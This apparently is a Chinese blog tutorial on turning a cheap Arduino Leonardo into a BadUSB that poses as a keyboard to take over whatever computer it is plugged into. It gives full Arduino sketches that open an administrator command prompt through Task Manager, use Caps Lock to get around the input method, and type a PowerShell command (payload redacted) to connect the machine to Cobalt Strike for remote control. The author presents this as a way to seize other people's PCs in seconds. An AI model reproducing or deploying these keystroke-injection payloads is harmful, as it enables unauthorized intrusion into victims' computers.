首页 > 其他分享 >Badusb制作,远程别人电脑

Badusb制作,远程别人电脑

时间:2023-08-29 09:35:10浏览次数:38  
标签:Badusb 电脑 delay release 按下 KEY Keyboard press 远程

Badusb制作

插一下U盘黑一台电脑,插了我的U盘你可就是我的脑了,()

image-20230828122523617

理论准备

我们要用它就应该知道他的工作原理是怎么样的,方便我们去发散思维去使用它。

Badusb的原理是利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击,将USB设备伪装使电脑识别为键盘,再利用USB设备中的微控制芯片,向主机发送命令,从而实现完全控制主机。

硬件准备

首先在TB花费30左右大洋买一个 Badusb leonardo USB,烧录过程也比较简单

badusb外观就是u盘的模样,很有迷惑性,不了解的人还真分辨不出了

image-20230828121614342

编译器准备

下载地址:https://www.arduino.cc/en/software,我这里下载了最新的2.1.1

下载完解压就行,双击exe打开,开始是英文,点击File->Preferences...,把English改为简体中文

image-20230828103603906

image-20230828103228406

编译代码

来到这一步,可以选择先插上Badusb,连接上端口,没有插上端口这里就会显示灰色无法点击

image-20230828105129931

然后在工具中找到开发板中的Arduino Leonardo

image-20230828104606322

看到这个地方变了就行,没变的话就点击选择一下

image-20230828104806576

举一个最简单的栗子,执行win+r打开运行执行cmd,在cmd中执行whoami

#include <Keyboard.h>

void setup() {//初始化
   Keyboard.begin();//开始键盘通讯 
  delay(5000);//延时
  Keyboard.press(KEY_LEFT_GUI);//win键 
  delay(500); 
  Keyboard.press('r');//r键 
  delay(500); 
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
  Keyboard.release(KEY_CAPS_LOCK);
  delay(500); 
  Keyboard.println("CMD");
  delay(500); 
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(3000); 
  Keyboard.println("whoami");
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();//结束键盘通讯 
}
void loop()//循环
{
//
}

然后点击编译看是否有错误

image-20230828105450978

没有错误进行上传,他会把详细信息输出出来,红色的跟有错误一起,其实没啥问题

image-20230828105553113

验证成果

进入cmd的其他方式

通过任务管理器使用管理员权限运行cmd,不懂得可以手动操作一遍

#include <Keyboard.h>
void setup() {
  Keyboard.begin();                //开始
  delay(2000);                     //等待两秒
  Keyboard.press(KEY_LEFT_CTRL);   //按下左边的Ctrl键
  Keyboard.press(KEY_LEFT_SHIFT);  //按下左边的Shift键
  Keyboard.press(KEY_ESC);         //按下ESC键
  Keyboard.releaseAll();           //松开所有按下的键(Ctrl,Shift,ESC)
  //以上代码执行结果: 打开任务管理器
  delay(500);                    //等待0.5秒 作用: 等待任务管理器启动
  Keyboard.press(KEY_LEFT_ALT);  //按下左边的Alt键
  Keyboard.press('f');           //按下f键
  Keyboard.release('f');         //松开f键
  Keyboard.press('n');           //按下n键
  Keyboard.releaseAll();         //松开所有(n,Alt)
  delay(500);                    //等待0.5秒 作用: 等待运行的启动
  Keyboard.press(KEY_TAB);       //按下Tab键
  Keyboard.release(KEY_TAB);     //松开Tab键
  Keyboard.press(' ');           //按下空格键
  Keyboard.release(' ');         //松开空格键
  //以上代码执行结果: 打开任务管理器中文件->运行新任务->勾选以管理员权限创建此任务
  //(提示: 如果觉得很迷惑,按上面代码自己操作一下就明白了)
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);  //利用CapsLock绕过输入法
  Keyboard.println("cmd");          //在运行中输入cmd,由于按下了CapsLock所以实际上输入的是CMD
  delay(3000);                       //等待2秒 作用: 等待cmd的启动
  Keyboard.println("whoami");       //在cmd中输入
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();  //结束
}

void loop() {
  // put your main code here, to run repeatedly:
}

上线CS

通过Badusb 上线CS实现远程控制

以上我们可以看到,插上usb之后他会模拟键盘操作,可以就行打开或输入的动作,通过此方法来上线CS(远程控制)

上线的方法有,powershell上线,certutil下载并运行上线等

badusb通过powershell上线代码:

#include <Keyboard.h>
void setup() {
  Keyboard.begin();                //开始
  delay(2000);                     //等待两秒
  Keyboard.press(KEY_LEFT_CTRL);   //按下左边的Ctrl键
  Keyboard.press(KEY_LEFT_SHIFT);  //按下左边的Shift键
  Keyboard.press(KEY_ESC);         //按下ESC键
  Keyboard.releaseAll();           //松开所有按下的键(Ctrl,Shift,ESC)
  //以上代码执行结果: 打开任务管理器
  delay(500);                    //等待0.5秒 作用: 等待任务管理器启动
  Keyboard.press(KEY_LEFT_ALT);  //按下左边的Alt键
  Keyboard.press('f');           //按下f键
  Keyboard.release('f');         //松开f键
  Keyboard.press('n');           //按下n键
  Keyboard.releaseAll();         //松开所有(n,Alt)
  delay(500);                    //等待0.5秒 作用: 等待运行的启动
  Keyboard.press(KEY_TAB);       //按下Tab键
  Keyboard.release(KEY_TAB);     //松开Tab键
  Keyboard.press(' ');           //按下空格键
  Keyboard.release(' ');         //松开空格键
  //以上代码执行结果: 打开任务管理器中文件->运行新任务->勾选以管理员权限创建此任务
  //(提示: 如果觉得很迷惑,按上面代码自己操作一下就明白了)
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);  //利用CapsLock绕过输入法
  Keyboard.println("cmd");          //在运行中输入cmd,由于按下了CapsLock所以实际上输入的是CMD
  delay(3000);                       //等待2秒 作用: 等待cmd的启动
  Keyboard.println("powershell.exe  xxxxxxxx");       //在cmd中输入
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();  //结束
}

void loop() {
  // put your main code here, to run repeatedly:
}

找个电脑上u盘,五秒钟,成功控制该电脑

image-20230828114536629

image-20230828115508309

标签:Badusb,电脑,delay,release,按下,KEY,Keyboard,press,远程
From: https://www.cnblogs.com/mt0u/p/17663874.html

相关文章

  • 5.1.29 远程代码执行漏洞
    ThinkPHP55.0.22/5.1.29远程代码执行漏洞漏洞描述Thinkphp是一个国内轻量级的开发框架。由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。验证方式直接访问http://your-ip:8080/index.php?s=/Index/\thi......
  • CentOS系统中使用SSH进行远程连接
      安装SSH客户端和服务器在CentOS系统中,默认情况下已经安装了OpenSSH客户端和服务器。如果没有安装,可以通过以下命令来安装:sudoyuminstallopenssh-serveropenssh-client启动SSH服务,注意要切换root账号执行命令安装完毕后,需要启动SSH服务。可以通过以下......
  • 器件介绍TMP451AQDQFTQ1、TMP451AQDQFRQ1、TMP451AQDQWRQ1汽车类 1.7V 远程和本地温度
    目标应用•汽车信息娱乐系统•电子控制单元(ECU)处理器温度监视•电子控制单元(TCM)处理器温度监视•电子控制单元(BCM)处理器温度监视•LED前灯温度控制一、器件介绍TMP451-Q1器件是一款高精度、低功耗远程温度传感器监视器,内置一个本地温度传感器。这类远程温度......
  • 远程桌面连接报错(CredSSP加密数据库修正)解决方案
    远程桌面连接报错(CredSSP加密数据库修正)解决方案: 方法一:修改注册表 按win+r键-输入regedit -点击确定-打开注册表编辑器如下图所示: 在注册表中进入如下路径:HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\Paramet......
  • Sketchup软件下载电脑版-草图大师软件(Sketchup)下载 中文版介绍
    sketchup(草图大师)2017版终于发布了,作为一款人气超高,软件质量好、功能全面的图形设计软件,相信很多用户都有接触过它。sketchup(草图大师)它是直接面向设计方案创作过程的设计工具,是三维建筑设计方案创作的优秀工具,用户使用它能够很轻松的就设计出非常不错的3d设计图纸,不用任何的费......
  • QT Creator 远程调试 QT 程序
    一、测试环境QTCreator版本:5.12.9开发板:rv1126开发环境:ubuntu20.04开发板内核:4.19二、配置ARM交叉编译器ARM交叉编译工具,购买开发板时,一般都会提供的打开QtCreator查看之前是否添加添加编译工具添加C工具添加C++工具配置qmake配置......
  • adb指令(查看电脑连接设备)
    电脑已配置ADB环境adb的全称为AndroidDebugBridge调试桥,是连接Android手机与PC端的桥梁,通过adb可以管理、操作模拟器和设备,如安装软件、系统升级、运行shell命令等。 详细:http://www.taodudu.cc/news/show-1575061.html?action=onClick一、连接设备操作步骤:1.IP连接法:同一......
  • Weblogic远程代码执行漏洞CVE-2023-21839
    漏洞简介Oracle发布安全公告,修复了一个存在于WebLogicCore中的远程代码执行漏洞(CVE-2023-21839),可在未经身份验证的情况下通过T3、IIOP协议远程访问并破坏易受攻击的WebLogicServer,成功利用该漏洞可能导致未授权访问和敏感信息泄露。影响版本OracleWeblogicServer12.2.1.3.......
  • 你的旧电脑是 “过时” 了,还是使用 Linux 的机会?
    导读很多时候,老旧的电脑往往被打上“过时”的标签。Linux 改变了这一现状。翻新旧电脑,让它重新为需要它的人所用。你可能经常听到有人说某个电脑、平板电脑或智能手机“过时了”。当你听到这样的说法时,花一分钟问问自己:“这个人说的是个人观点还是事实?”很多时候他......
  • 关于自建Rustdesk 远程桌面服务器的公网访问:无法连接中继服务器的问题解决方法
    自建服务器位于内网时,内网客户端ID/中继的地址通常写成内网IP,外网客户端一般会用公网IP进行端口映射,但这样设置出现外网客户端无法连接中继服务器,但内网客户端使用正常的现象。经过半天的排查分析,当内网和外网填写的自定义服务器地址时,rust服务器无法识别出需要使用nat包的地址,默......